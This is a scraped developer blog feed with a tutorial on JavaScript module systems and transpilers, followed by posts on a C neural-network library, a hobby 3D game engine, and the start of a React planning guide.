CommonJS, initially named ServerJS, is a pattern to define and consume modules. It is implemented by Node,js. By default, each .js file is a CommonJS module. A module variable and an exports variable are provided for a module (a file) to expose APIs. And a require function is provided to load and consume a module. The following code defines the counter module in CommonJS syntax:

// Define CommonJS module: commonJSCounterModule.js.
const dependencyModule1 = require("./dependencyModule1");
const dependencyModule2 = require("./dependencyModule2");

let count = 0;
const increase = () => ++count;
const reset = () => {
    count = 0;
    console.log("Count is reset.");
};

exports.increase = increase;
exports.reset = reset;
// Or equivalently:
module.exports = {
    increase,
    reset
};

The following example consumes the counter module:

// Use CommonJS module.
const { increase, reset } = require("./commonJSCounterModule");
increase();
reset();
// Or equivalently:
const commonJSCounterModule = require("./commonJSCounterModule");
commonJSCounterModule.increase();
commonJSCounterModule.reset();

At runtime, Node.js implements this by wrapping the code inside the file into a function, then passes the exports variable, module variable, and require function through arguments.

// Define CommonJS module: wrapped commonJSCounterModule.js.
(function (exports, require, module, __filename, __dirname) {
    const dependencyModule1 = require("./dependencyModule1");
    const dependencyModule2 = require("./dependencyModule2");

    let count = 0;
    const increase = () => ++count;
    const reset = () => {
        count = 0;
        console.log("Count is reset.");
    };

    module.exports = {
        increase,
        reset
    };

    return module.exports;
}).call(thisValue, exports, require, module, filename, dirname);

// Use CommonJS module.
(function (exports, require, module, __filename, __dirname) {
    const commonJSCounterModule = require("./commonJSCounterModule");
    commonJSCounterModule.increase();
    commonJSCounterModule.reset();
}).call(thisValue, exports, require, module, filename, dirname);

AMD Module: Asynchronous Module Definition, or RequireJS Module

AMD (Asynchronous Module Definition), is a pattern to define and consume module. It is implemented by RequireJS library. AMD provides a define function to define module, which accepts the module name, dependent modules’ names, and a factory function:

// Define AMD module.
define("amdCounterModule", ["dependencyModule1", "dependencyModule2"], 
      (dependencyModule1, dependencyModule2) => {
    let count = 0;
    const increase = () => ++count;
    const reset = () => {
        count = 0;
        console.log("Count is reset.");
    };

    return {
        increase,
        reset
    };
});

It also provides a require function to consume module:

// Use AMD module.
require(["amdCounterModule"], amdCounterModule => {
    amdCounterModule.increase();
    amdCounterModule.reset();
});

The AMD require function is totally different from the CommonJS require function. AMD require accepts the names of modules to be consumed, and passes the module to a function argument.

Dynamic Loading

AMD’s define function has another overload. It accepts a callback function, and passes a CommonJS-like require function to that callback. Inside the callback function, require can be called to dynamically load the module:

// Use dynamic AMD module.
define(require => {
    const dynamicDependencyModule1 = require("dependencyModule1");
    const dynamicDependencyModule2 = require("dependencyModule2");

    let count = 0;
    const increase = () => ++count;
    const reset = () => {
        count = 0;
        console.log("Count is reset.");
    };

    return {
        increase,
        reset
    };
});

AMD Module from CommonJS Module

The above define function overload can also pass the require function as well as exports variable and module to its callback function. So inside the callback, CommonJS syntax code can work:

// Define AMD module with CommonJS code.
define((require, exports, module) => {
    // CommonJS code.
    const dependencyModule1 = require("dependencyModule1");
    const dependencyModule2 = require("dependencyModule2");

    let count = 0;
    const increase = () => ++count;
    const reset = () => {
        count = 0;
        console.log("Count is reset.");
    };

    exports.increase = increase;
    exports.reset = reset;
});

// Use AMD module with CommonJS code.
define(require => {
    // CommonJS code.
    const counterModule = require("amdCounterModule");
    counterModule.increase();
    counterModule.reset();
});

UMD Module: Universal Module Definition, or UmdJS Module

UMD (Universal Module Definition) is a set of tricky patterns to make your code file work in multiple environments.

UMD for Both AMD (RequireJS) and Native Browser

For example, the following is a kind of UMD pattern to make module definition work with both AMD (RequireJS) and native browser:

// Define UMD module for both AMD and browser.
((root, factory) => {
    // Detects AMD/RequireJS"s define function.
    if (typeof define === "function" && define.amd) {
        // Is AMD/RequireJS. Call factory with AMD/RequireJS"s define function.
        define("umdCounterModule", ["deependencyModule1", "dependencyModule2"], factory);
    } else {
        // Is Browser. Directly call factory.
        // Imported dependencies are global variables(properties of window object).
        // Exported module is also a global variable(property of window object)
        root.umdCounterModule = factory(root.deependencyModule1, root.dependencyModule2);
    }
})(typeof self !== "undefined" ? self : this, (deependencyModule1, dependencyModule2) => {
    // Module code goes here.
    let count = 0;
    const increase = () => ++count;
    const reset = () => {
        count = 0;
        console.log("Count is reset.");
    };

    return {
        increase,
        reset
    };
});

It is more complex but it is just an IIFE. The anonymous function detects if AMD’s define function exists.

If yes, call the module factory with AMD’s define function.
If not, it calls the module factory directly. At this moment, the root argument is actually the browser’s window object. It gets dependency modules from global variables (properties of window object). When factory returns the module, the returned module is also assigned to a global variable (property of window object).

UMD for Both AMD (RequireJS) and CommonJS (Node.js)

The following is another kind of UMD pattern to make module definition work with both AMD (RequireJS) and CommonJS (Node.js):

(define => define((require, exports, module) => {
    // Module code goes here.
    const dependencyModule1 = require("dependencyModule1");
    const dependencyModule2 = require("dependencyModule2");

    let count = 0;
    const increase = () => ++count;
    const reset = () => {
        count = 0;
        console.log("Count is reset.");
    };

    module.export = {
        increase,
        reset
    };
}))(// Detects module variable and exports variable of CommonJS/Node.js.
    // Also detect the define function of AMD/RequireJS.
    typeof module === "object" && module.exports && typeof define !== "function"
        ? // Is CommonJS/Node.js. Manually create a define function.
            factory => module.exports = factory(require, exports, module)
        : // Is AMD/RequireJS. Directly use its define function.
            define);

Again, don’t be scared. It is just another IIFE. When the anonymous function is called, its argument is evaluated. The argument evaluation detects the environment (check the module variable and exports variable of CommonJS/Node.js, as well as the define function of AMD/RequireJS).

If the environment is CommonJS/Node.js, the anonymous function’s argument is a manually created define function.
If the environment is AMD/RequireJS, the anonymous function’s argument is just AMD’s define function. So when the anonymous function is executed, it is guaranteed to have a working define function. Inside the anonymous function, it simply calls the define function to create the module.

ES Module: ECMAScript 2015, or ES6 Module

After all the module mess, in 2015, JavaScript’s spec version 6 introduces one more different module syntax. This spec is called ECMAScript 2015 (ES2015), or ECMAScript 6 (ES6). The main syntax is the import keyword and the export keyword. The following example uses new syntax to demonstrate ES module’s named import/export and default import/export:

// Define ES module: esCounterModule.js or esCounterModule.mjs.
import dependencyModule1 from "./dependencyModule1.mjs";
import dependencyModule2 from "./dependencyModule2.mjs";

let count = 0;
// Named export:
export const increase = () => ++count;
export const reset = () => {
    count = 0;
    console.log("Count is reset.");
};
// Or default export:
export default {
    increase,
    reset
};

To use this module file in browser, add a <script> tag and specify it is a module: <script type="module" src="esCounterModule.js"></script>. To use this module file in Node.js, rename its extension from .js to .mjs.

// Use ES module.
// Browser: <script type="module" src="esCounterModule.js"></script> or inline.
// Server: esCounterModule.mjs
// Import from named export.
import { increase, reset } from "./esCounterModule.mjs";
increase();
reset();
// Or import from default export:
import esCounterModule from "./esCounterModule.mjs";
esCounterModule.increase();
esCounterModule.reset();

For browser, <script>’s nomodule attribute can be used for fallback:

<script nomodule>
    alert("Not supported.");
</script>

ES Dynamic Module: ECMAScript 2020, or ES11 Dynamic Module

In 2020, the latest JavaScript spec version 11 is introducing a built-in function import to consume an ES module dynamically. The import function returns a promise, so its then method can be called to consume the module:

// Use dynamic ES module with promise APIs, import from named export:
import("./esCounterModule.js").then(({ increase, reset }) => {
    increase();
    reset();
});
// Or import from default export:
import("./esCounterModule.js").then(dynamicESCounterModule => {
    dynamicESCounterModule.increase();
    dynamicESCounterModule.reset();
});

By returning a promise, apparently, import function can also work with the await keyword:

// Use dynamic ES module with async/await.
(async () => {

    // Import from named export:
    const { increase, reset } = await import("./esCounterModule.js");
    increase();
    reset();

    // Or import from default export:
    const dynamicESCounterModule = await import("./esCounterModule.js");
    dynamicESCounterModule.increase();
    dynamicESCounterModule.reset();

})();

The following is the compatibility of import/dynamic import/export, from this link:

System Module: SystemJS Module

SystemJS is a library that can enable ES module syntax for older ES. For example, the following module is defined in ES 6syntax:

// Define ES module.
import dependencyModule1 from "./dependencyModule1.js";
import dependencyModule2 from "./dependencyModule2.js";
dependencyModule1.api1();
dependencyModule2.api2();

let count = 0;
// Named export:
export const increase = function () { return ++count };
export const reset = function () {
    count = 0;
    console.log("Count is reset.");
};
// Or default export:
export default {
    increase,
    reset
}

If the current runtime, like an old browser, does not support ES6 syntax, the above code cannot work. One solution is to transpile the above module definition to a call of SystemJS library API, System.register:

// Define SystemJS module.
System.register(["./dependencyModule1.js", "./dependencyModule2.js"], 
                function (exports_1, context_1) {
    "use strict";
    var dependencyModule1_js_1, dependencyModule2_js_1, count, increase, reset;
    var __moduleName = context_1 && context_1.id;
    return {
        setters: [
            function (dependencyModule1_js_1_1) {
                dependencyModule1_js_1 = dependencyModule1_js_1_1;
            },
            function (dependencyModule2_js_1_1) {
                dependencyModule2_js_1 = dependencyModule2_js_1_1;
            }
        ],
        execute: function () {
            dependencyModule1_js_1.default.api1();
            dependencyModule2_js_1.default.api2();
            count = 0;
            // Named export:
            exports_1("increase", increase = function () { return ++count };
            exports_1("reset", reset = function () {
                count = 0;
                console.log("Count is reset.");
            };);
            // Or default export:
            exports_1("default", {
                increase,
                reset
            });
        }
    };
});

So that the import/export new ES6 syntax is gone. The old API call syntax works for sure. This transpilation can be done automatically with Webpack, TypeScript, etc., which are explained later in this article.

Dynamic Module Loading

SystemJS also provides an import function for dynamic import:

// Use SystemJS module with promise APIs.
System.import("./esCounterModule.js").then(dynamicESCounterModule => {
    dynamicESCounterModule.increase();
    dynamicESCounterModule.reset();
});

Webpack Module: Bundle from CJS, AMD, ES Modules

Webpack is a bundler for modules. It transpiles combined CommonJS module, AMD module, and ES module into a single harmony module pattern, and bundle all code into a single file. For example, the following three files define three modules in three different syntaxes:

// Define AMD module: amdDependencyModule1.js
define("amdDependencyModule1", () => {
    const api1 = () => { };
    return {
        api1
    };
});

// Define CommonJS module: commonJSDependencyModule2.js
const dependencyModule1 = require("./amdDependencyModule1");
const api2 = () => dependencyModule1.api1();
exports.api2 = api2;

// Define ES module: esCounterModule.js.
import dependencyModule1 from "./amdDependencyModule1";
import dependencyModule2 from "./commonJSDependencyModule2";
dependencyModule1.api1();
dependencyModule2.api2();

let count = 0;
const increase = () => ++count;
const reset = () => {
    count = 0;
    console.log("Count is reset.");
};

export default {
    increase,
    reset
}

And the following file consumes the counter module:

// Use ES module: index.js
import counterModule from "./esCounterModule";
counterModule.increase();
counterModule.reset();

Webpack can bundle all the above files, even they are in 3 different module systems, into a single file main.js:

root
- dist
  - main.js (Bundle of all files under src)
- src
  - amdDependencyModule1.js
  - commonJSDependencyModule2.js
  - esCounterModule.js
  - index.js
- webpack.config.js

Since Webpack is based on Node.js, Webpack uses CommonJS module syntax for itself. In webpack.config.js:

const path = require('path');

module.exports = {
    entry: './src/index.js',
    mode: "none", // Do not optimize or minimize the code for readability.
    output: {
        filename: 'main.js',
        path: path.resolve(__dirname, 'dist'),
    },
};

Now run the following command to transpile and bundle all four files, which are in different syntax:

npm install webpack webpack-cli --save-dev
npx webpack --config webpack.config.js

AS a result, Webpack generates the bundle file main.js. The following code in main.js is reformatted, and variables are renamed, to improve readability:

(function (modules) { // webpackBootstrap
    // The module cache
    var installedModules = {};
    // The require function
    function require(moduleId) {
        // Check if module is in cache
        if (installedModules[moduleId]) {
            return installedModules[moduleId].exports;

        }
        // Create a new module (and put it into the cache)
        var module = installedModules[moduleId] = {
            i: moduleId,
            l: false,
            exports: {}

        };
        // Execute the module function
        modules[moduleId].call(module.exports, module, module.exports, require);
        // Flag the module as loaded
        module.l = true;
        // Return the exports of the module
        return module.exports;
    }

    // expose the modules object (__webpack_modules__)
    require.m = modules;
    // expose the module cache
    require.c = installedModules;
    // define getter function for harmony exports
    require.d = function (exports, name, getter) {
        if (!require.o(exports, name)) {
            Object.defineProperty(exports, name, { enumerable: true, get: getter });
        }
    };
    // define __esModule on exports
    require.r = function (exports) {
        if (typeof Symbol !== 'undefined' && Symbol.toStringTag) {
            Object.defineProperty(exports, Symbol.toStringTag, { value: 'Module' });

        }
        Object.defineProperty(exports, '__esModule', { value: true });
    };
    // create a fake namespace object
    // mode & 1: value is a module id, require it
    // mode & 2: merge all properties of value into the ns
    // mode & 4: return value when already ns object
    // mode & 8|1: behave like require
    require.t = function (value, mode) {
        if (mode & 1) value = require(value);
        if (mode & 8) return value;
        if ((mode & 4) && typeof value === 'object' && value && value.__esModule) 
           return value;
        var ns = Object.create(null);
        require.r(ns);
        Object.defineProperty(ns, 'default', { enumerable: true, value: value });
        if (mode & 2 && typeof value != 'string') for (var key in value) 
            require.d(ns, key, function (key) { return value[key]; }.bind(null, key));
        return ns;
    };
    // getDefaultExport function for compatibility with non-harmony modules
    require.n = function (module) {
        var getter = module && module.__esModule ?
            function getDefault() { return module['default']; } :
            function getModuleExports() { return module; };
        require.d(getter, 'a', getter);
        return getter;
    };
    // Object.prototype.hasOwnProperty.call
    require.o = function (object, property) 
                { return Object.prototype.hasOwnProperty.call(object, property); };
    // __webpack_public_path__
    require.p = "";
    // Load entry module and return exports
    return require(require.s = 0);
})([
    function (module, exports, require) {
        "use strict";
        require.r(exports);
        // Use ES module: index.js.
        var esCounterModule = require(1);
        esCounterModule["default"].increase();
        esCounterModule["default"].reset();
    },
    function (module, exports, require) {
        "use strict";
        require.r(exports);
        // Define ES module: esCounterModule.js.
        var amdDependencyModule1 = require.n(require(2));
        var commonJSDependencyModule2 = require.n(require(3));
        amdDependencyModule1.a.api1();
        commonJSDependencyModule2.a.api2();

        let count = 0;
        const increase = () => ++count;
        const reset = () => {
            count = 0;
            console.log("Count is reset.");
        };

        exports["default"] = {
            increase,
            reset
        };
    },
    function (module, exports, require) {
        var result;
        !(result = (() => {
            // Define AMD module: amdDependencyModule1.js
            const api1 = () => { };
            return {
                api1
            };
        }).call(exports, require, exports, module),
            result !== undefined && (module.exports = result));
    },
    function (module, exports, require) {
        // Define CommonJS module: commonJSDependencyModule2.js
        const dependencyModule1 = require(2);
        const api2 = () => dependencyModule1.api1();
        exports.api2 = api2;
    }
]);

Again, it is just another IIFE. The code of all four files is transpiled to the code in four functions in an array. And that array is passed to the anonymous function as an argument.

Babel Module: Transpile from ES Module

Babel is another transpiler to convert ES6+ JavaScript code to the older syntax for the older environment like older browsers. The above counter module in ES6 import/export syntax can be converted to the following babel module with new syntax replaced:

// Babel.
Object.defineProperty(exports, "__esModule", {
    value: true
});
exports["default"] = void 0;
function _interopRequireDefault(obj) 
         { return obj && obj.__esModule ? obj : { "default": obj }; }

// Define ES module: esCounterModule.js.
var dependencyModule1 = _interopRequireDefault(require("./amdDependencyModule1"));
var dependencyModule2 = _interopRequireDefault(require("./commonJSDependencyModule2"));
dependencyModule1["default"].api1();
dependencyModule2["default"].api2();

var count = 0;
var increase = function () { return ++count; };
var reset = function () {
    count = 0;
    console.log("Count is reset.");
};

exports["default"] = {
    increase: increase,
    reset: reset
};

And here is the code in index.js which consumes the counter module:

// Babel.
function _interopRequireDefault(obj) 
         { return obj && obj.__esModule ? obj : { "default": obj }; }

// Use ES module: index.js
var esCounterModule = _interopRequireDefault(require("./esCounterModule.js"));
esCounterModule["default"].increase();
esCounterModule["default"].reset();

This is the default transpilation. Babel can also work with other tools.

Babel with SystemJS

SystemJS can be used as a plugin for Babel:

npm install --save-dev @babel/plugin-transform-modules-systemjs

And it should be added to the Babel configuration babel.config.json:

{
    "plugins": ["@babel/plugin-transform-modules-systemjs"],
    "presets": [
        [
            "@babel/env",
            {
                "targets": {
                    "ie": "11"
                }
            }
        ]
    ]
}

Now Babel can work with SystemJS to transpile CommonJS/Node.js module, AMD/RequireJS module, and ES module:

npx babel src --out-dir lib

The result is:

root
- lib
  - amdDependencyModule1.js (Transpiled with SystemJS)
  - commonJSDependencyModule2.js (Transpiled with SystemJS)
  - esCounterModule.js (Transpiled with SystemJS)
  - index.js (Transpiled with SystemJS)
- src
  - amdDependencyModule1.js
  - commonJSDependencyModule2.js
  - esCounterModule.js
  - index.js
- babel.config.json

Now all the ADM, CommonJS, and ES module syntax are transpiled to SystemJS syntax:

// Transpile AMD/RequireJS module definition to SystemJS syntax: lib/amdDependencyModule1.js.
System.register([], function (_export, _context) {
    "use strict";
    return {
        setters: [],
        execute: function () {
            // Define AMD module: src/amdDependencyModule1.js
            define("amdDependencyModule1", () => {
                const api1 = () => { };

                return {
                    api1
                };
            });
        }
    };
});

// Transpile CommonJS/Node.js module definition to 
// SystemJS syntax: lib/commonJSDependencyModule2.js.
System.register([], function (_export, _context) {
    "use strict";
    var dependencyModule1, api2;
    return {
        setters: [],
        execute: function () {
            // Define CommonJS module: src/commonJSDependencyModule2.js
            dependencyModule1 = require("./amdDependencyModule1");

            api2 = () => dependencyModule1.api1();

            exports.api2 = api2;
        }
    };
});

// Transpile ES module definition to SystemJS syntax: lib/esCounterModule.js.
System.register(["./amdDependencyModule1", "./commonJSDependencyModule2"], 
                function (_export, _context) {
    "use strict";
    var dependencyModule1, dependencyModule2, count, increase, reset;
    return {
        setters: [function (_amdDependencyModule) {
            dependencyModule1 = _amdDependencyModule.default;
        }, function (_commonJSDependencyModule) {
            dependencyModule2 = _commonJSDependencyModule.default;
        }],
        execute: function () {
            // Define ES module: src/esCounterModule.js.
            dependencyModule1.api1();
            dependencyModule2.api2();
            count = 0;

            increase = () => ++count;

            reset = () => {
                count = 0;
                console.log("Count is reset.");
            };

            _export("default", {
                increase,
                reset
            });
        }
    };
});

// Transpile ES module usage to SystemJS syntax: lib/index.js.
System.register(["./esCounterModule"], function (_export, _context) {
    "use strict";
    var esCounterModule;
    return {
        setters: [function (_esCounterModuleJs) {
            esCounterModule = _esCounterModuleJs.default;
        }],
        execute: function () {
            // Use ES module: src/index.js
            esCounterModule.increase();
            esCounterModule.reset();
        }
    };
});

TypeScript Module: Transpile to CJS, AMD, ES, System Modules

TypeScript supports all JavaScript syntax, including the ES6 module syntax. When TypeScript transpiles, the ES module code can either be kept as ES6, or transpiled to other formats, including CommonJS/Node.js, AMD/RequireJS, UMD/UmdJS, or System/SystemJS, according to the specified transpiler options in tsconfig.json:

{
    "compilerOptions": {
        "module": "ES2020", // None, CommonJS, AMD, System, UMD, ES6, ES2015, ES2020, ESNext.
    }
}

For example:

// TypeScript and ES module.
// With compilerOptions: { module: "ES6" }. 
// Transpile to ES module with the same import/export syntax.
import dependencyModule from "./dependencyModule";
dependencyModule.api();
let count = 0;
export const increase = function () { return ++count };


// With compilerOptions: { module: "CommonJS" }. Transpile to CommonJS/Node.js module:
var __importDefault = (this && this.__importDefault) || function (mod) {
    return (mod && mod.__esModule) ? mod : { "default": mod };
};
exports.__esModule = true;

var dependencyModule_1 = __importDefault(require("./dependencyModule"));
dependencyModule_1["default"].api();
var count = 0;
exports.increase = function () { return ++count; };

// With compilerOptions: { module: "AMD" }. Transpile to AMD/RequireJS module:
var __importDefault = (this && this.__importDefault) || function (mod) {
    return (mod && mod.__esModule) ? mod : { "default": mod };
};
define(["require", "exports", "./dependencyModule"], 
       function (require, exports, dependencyModule_1) {
    "use strict";
    exports.__esModule = true;

    dependencyModule_1 = __importDefault(dependencyModule_1);
    dependencyModule_1["default"].api();
    var count = 0;
    exports.increase = function () { return ++count; };
});

// With compilerOptions: { module: "UMD" }. Transpile to UMD/UmdJS module:
var __importDefault = (this && this.__importDefault) || function (mod) {
    return (mod && mod.__esModule) ? mod : { "default": mod };
};
(function (factory) {
    if (typeof module === "object" && typeof module.exports === "object") {
        var v = factory(require, exports);
        if (v !== undefined) module.exports = v;
    }
    else if (typeof define === "function" && define.amd) {
        define(["require", "exports", "./dependencyModule"], factory);
    }
})(function (require, exports) {
    "use strict";
    exports.__esModule = true;

    var dependencyModule_1 = __importDefault(require("./dependencyModule"));
    dependencyModule_1["default"].api();
    var count = 0;
    exports.increase = function () { return ++count; };
});

// With compilerOptions: { module: "System" }. Transpile to System/SystemJS module:
System.register(["./dependencyModule"], function (exports_1, context_1) {
    "use strict";
    var dependencyModule_1, count, increase;
    var __moduleName = context_1 && context_1.id;
    return {
        setters: [
            function (dependencyModule_1_1) {
                dependencyModule_1 = dependencyModule_1_1;
            }
        ],
        execute: function () {
            dependencyModule_1["default"].api();
            count = 0;
            exports_1("increase", increase = function () { return ++count; });
        }
    };
});

The ES module syntax supported in TypeScript was called external modules.

Internal Module and Namespace

TypeScript also has a module keyword and a namespace keyword.They were called internal modules:

module Counter {
    let count = 0;
    export const increase = () => ++count;
    export const reset = () => {
        count = 0;
        console.log("Count is reset.");
    };
}

namespace Counter {
    let count = 0;
    export const increase = () => ++count;
    export const reset = () => {
        count = 0;
        console.log("Count is reset.");
    };
}

They are both transpiled to JavaScript objects:

var Counter;
(function (Counter) {
    var count = 0;
    Counter.increase = function () { return ++count; };
    Counter.reset = function () {
        count = 0;
        console.log("Count is reset.");
    };
})(Counter || (Counter = {}));

TypeScript module and namespace can have multiple levels by supporting the . separator:

module Counter.Sub {
    let count = 0;
    export const increase = () => ++count;
}

namespace Counter.Sub {
    let count = 0;
    export const increase = () => ++count;
}

The sub module and sub namespace are both transpiled to object’s property:

var Counter;
(function (Counter) {
    var Sub;
    (function (Sub) {
        var count = 0;
        Sub.increase = function () { return ++count; };
    })(Sub = Counter.Sub || (Counter.Sub = {}));
})(Counter|| (Counter = {}));

TypeScript module and namespace can also be used in the export statement:

module Counter {
    let count = 0;
    export module Sub {
        export const increase = () => ++count;
    }
}

module Counter {
    let count = 0;
    export namespace Sub {
        export const increase = () => ++count;
    }
}

The transpilation is the same as submodule and sub-namespace:

var Counter;
(function (Counter) {
    var count = 0;
    var Sub;
    (function (Sub) {
        Sub.increase = function () { return ++count; };
    })(Sub = Counter.Sub || (Counter.Sub = {}));
})(Counter || (Counter = {}));

Conclusion

Welcome to JavaScript, which has so much drama - 10+ systems/formats just for modularization/namespace:

IIFE module: JavaScript module pattern
Revealing module: JavaScript revealing module pattern
CJS module: CommonJS module, or Node.js module
AMD module: Asynchronous Module Definition, or RequireJS module
UMD module: Universal Module Definition, or UmdJS module
ES module: ECMAScript 2015, or ES6 module
ES dynamic module: ECMAScript 2020, or ES11 dynamic module
System module: SystemJS module
Webpack module: transpile and bundle of CJS, AMD, ES modules
Babel module: transpile ES module
TypeScript module and namespace

Fortunately, now JavaScript has standard built-in language features for modules, and it is supported by Node.js and all the latest modern browsers. For the older environments, you can still code with the new ES module syntax, then use Webpack/Babel/SystemJS/TypeScript to transpile to older or compatible syntax.

For similar content,

https://weblogs.asp.net/dixin

https://www.codeproject.com you can view the pages.

Nerve | Neural Network Library

Fatih Küçükkarakurt — Tue, 22 Mar 2022 21:39:58 +0000

This is a basic implementation of a neural network for use in C and C++ programs. It is intended for use in applications that just happen to need a simple neural network and do not want to use needlessly complex neural network libraries.

It features multilayer backpropagation neural network with settable momentum and learning rate, easy portability, and small size.

GITHUB REPO => https://github.com/fkkarakurt/Nerve
WIKI => https://github.com/fkkarakurt/Nerve/wiki
STRUCTURE => https://github.com/fkkarakurt/Nerve#internal-structure

Features

Multilayer perceptron neural network.
Backpropagation training.
Trainable bias.
Small.
Fast.
Easy to incorporate in own application.
Easy to extend.
Licenced under MIT.
Includes example application to train a network to recognize handwritten digits.

Internal Structure

Usage

Computing a neural network

This code snippet shows how to compute the outputs of a neural network with nerveNet.

#include "nerveNet.h"

float *input;
float *output;
network_t *net;

net = net_load(filename of neural network);

// Set input to an array of floats that forms the input of the network
// Set output to where you want the ouput of the network stored

net_compute(net, input, output);

// Use the network outputs in output[0], ...  ouput[net_no_of_ouputs(net)-1]

Training a neural network

The following code snippet shows how you typically train a neural network with nerveNet. It changes all the weights once for each input/target pair in a training set. You would typically repeat the loop quite a few times until you're satisfied with the performance of the network.

#include "nerveNet.h"

float *input;
float *target;
network_t *net;
int i;

// Read or create the neural network

for (i = 0; i < number of elements in training set; i++)
{
  // Set input to i-th input element of training set
  // Set target to intended output for this input
  net_compute(net, input, NULL);
  net_compute_output_error(net, target);
  net_train(net);
}

Training a neural network in batches

The following code snippet does the same; the only difference is that the weights only get changed after all input/target pairs from the training set have been considered.

#include "nerveNet.h"

float *input;
float *target;
network_t *net;
int i;

// Read or create the neural network

net_begin_batch(net);
for (i = 0; i < number of elements in training set; i++)
{
  // Set input to i-th input element of training set;
  // Set target to intended output for this input;
  net_compute(net, input, NULL);
  net_compute_output_error(net, target);
  net_train_batch(net);
}
net_end_batch(net);

Training a neural network and using a validation set to stop training

The previous two code snippets show how to train a neural network, but it is not yet clear when to stop training. This code snippets gives one way to determine that. Training will stop when the average error on the validation set drops below a certain value or when training has been going on for a long while.

#include "nerveNet.h"

float *input;
float *target;
float error;
network_t *net;
int i, j, count;

// Read or create the neural network

count = 0;
do
{
  // Train the network with all pairs in the training set
  for (i = 0; i < number of elements in training set; i++)
  {
    // Set input to i-th input element of training set
    // Set target to intended output for this input
    net_compute(net, input, NULL);
    net_compute_output_error(net, target);
    net_train(net);
    count++;
  }

  // Compute the average error for all pairs in the validation set
  error = 0.0;
  for (j = 0; j < number of elements in validation set; j++)
  {
    // Set input to i-th input element of validation set
    // Set target to intended output for this input
    net_compute(net, input, NULL);
    net_compute_output_error(net, target);
    error += net_get_output_error(net);
  }
  error /= number of elements in validation set;

  /* Keep going until either the average error is small enough
   * or a large amount of trainings have been completed. */
} while ((error > maximal error that is still acceptable) &&
         (count < maximal number of trainings you want to do));

Lupine | I'm Developing a 3D Game Engine!

Fatih Küçükkarakurt — Sun, 06 Mar 2022 19:29:27 +0000

GITHUB : https://github.com/fkkarakurt/Lupine

Hello everyone,

For a long time, I have been trying to produce content about questions and contribute to open source. Especially the article I wrote on games and graphics received much more appreciation and attention than I expected, thank you for that.

I love game development and graphics calculations a lot. Ever since I developed my first 2D arcade game, I always asked myself "I wonder if I can develop a game engine one day?".

And I think that day has come.

I'm trying to develop a game engine called Lupine. This is really a much more laborious and challenging process than I expected. I've been working on this for about 6 months. Finally, something started to emerge.

My build operation on a Debian 64-bit operating system was successful and I saw that my game engine was ready.

There was so much missing. I am still trying to fix these shortcomings. I'm trying to share it in my github repo when I solve the errors in the codes.

You can follow this repo here.

What difficulties did I experience?

As I went deeper into mathematics, such as linear algebra and matrix, determinant, which I use especially in graphic rendering, I choked on numbers and formulas.

I knew that I would be sleepless at night and would really devote a large part of my budget to coffee expenses, but these calculations were not at all what I expected. I have reviewed many open source graphics libraries. I didn't really understand some of their codes of repos and some were really old libraries. So I decided to do most of the math calculations myself.

While this was a difficult process in itself, I had to take many more steps to complete the project. I think I've read more technical documentation for this than I've ever read in my life.

In particular, there were many moments when my motivation and enthusiasm were lost. I tried to delete the project many times. After each debug, the errors and warnings bothered me. I was looking for many answers from forum sites from the early 2000s that I couldn't find on Stackoverflow and it was never working. It takes a lot of effort to read the codes one by one and find the errors and think about what the problem might be. I even deleted the project completely once. After about 1 hour I took it out of the recycle bin again and for over 10 hours I found the problem just by looking at the monitor.

I guess only those who have lived it know this.

Sound libraries, Scripting and API, documentation, visual editor window, GUI, bug tests, FPS settings, rendering, operating system compatibility, 3D matrix calculations... There were many things I had to prepare.

What Did I Learn?

The biggest lesson I learned was this: If you don't really like computers and coding, you can't really, really succeed at this job.

Trust the power of open source and helpful people. Read as much code as you write code. Algorithms created by humans and the techniques they use can give great clues.

I think the most difficult issue in this project was the following: "Create New Folder". Yeah I'm really not kidding. When you create a new folder and look at a blank page, you really don't know where to start.

To minimize this, use paper and pencil. At least I find that easier. I really don't use those modern RGB colorful keyboards and mouses. The biggest equipment I use is paper, pencil and a calculator that I use in engineering faculty. After planning here, I start to write code by thinking about the libraries I will use and the algorithms I have set up in my head.

What Happens Next?

I will continue with this motivation and try to make the game engine ready for use. I am ambitious for this and I hope I can be successful. At least my closest goal is for the build to be successful. I am ready for the optimization errors that will occur afterwards. (I hope not be. But I get really low fps in my tests on linux.)

I will put the necessary links below and at the top of the article. If you follow the project and give stars, I would be very, very happy. That would be a great motivation.

GITHUB : https://github.com/fkkarakurt/Lupine

Planning a React Application

Fatih Küçükkarakurt — Sun, 20 Feb 2022 07:34:26 +0000

Planning a non-trivial web application that utilizes React is something you may have done in the past or are in the midst of doing. This whitepaper documents a high-level process to use when planning a React application, from project organization, collaboration considerations and tooling choices during development, all the way through deployment and performance strategies. There are a lot of moving pieces to creating a real-world application in React, but this guide will help get you started.

Project Management
- Software Management Tools
Accessibility i18n and Environments
Development Process Methodology
Tooling and Development
- Package Managers
- Task Runners
- Linters and Enforcement
- Create-React-App
- Online Collaboration Tools
- UI Components
Testing Methodologies
Codebase Distribution Strategies
- Browser Only
- Server-Side Rendering
Mobile and Desktop
- Progressive Web Apps
- Define Your Deployment Strategy
- JavaScript Error Monitoring
Style Guide, Architecture and State Management
- Thinking in React
- State Management
Backend API
Performance Strategies
- Polyfills and Browser Support
- Bundling
- Tree-Shaking
- Lazy-Loading
Conclusion

Project Management

Before you write a single line of code, you need to decide how you’re going to get things set up. This typically starts with project management, including discussing and agreeing upon the approaches, tools and services you’ll use to deliver your next application.

Software Management Tools

To manage the development of any front-end application, consider the following tools to version code, store assets and oversee team member tasks:

SOFTWARE MANAGEMENT TOOL	EXAMPLES
Issues and feature tracker	GitHub, BitBucket, JIRA
Distributed version control system (DVCS)	Git, Mercurial
Cloud-based DVCS repository	GitHub, BitBucket
Document/asset storage	Internal Network, Google Docs, Basecamp, Office365
Team communication	Slack, HipChat, IRC, Google Hangouts, MS Teams
Task management	GitHub Issues, GitHub Project Boards, Trello, JIRA

No matter which tools you choose, it’s essential that your team adopt and use the ones you select. Also, don’t be afraid to monitor your use of these tools and improve your workflow if opportunities for improvement arise. New tools are released all the time and you may wish to adopt emerging tools that provide features you find missing in your current process. It’s natural to adopt different tools as your team matures and your application grows.

Accessibility i18n and Environments

Accessibility, i18n (internationalization), and targeting the correct execution environment for your app are essential parts of any development effort. More than just what to build, it’s essential to consider how you’re going to build your app, who you intend to use it, and how you’re going to support it. Addressing these considerations at the start of your project will help you clearly articulate how you’ll address key aspects of your app that are ancillary to the code itself, but essential for certain audiences (accessibility and i18n, for instance).

The following table summarizes some of these considerations and provides some helpful resources applicable to addressing them for React-based applications.

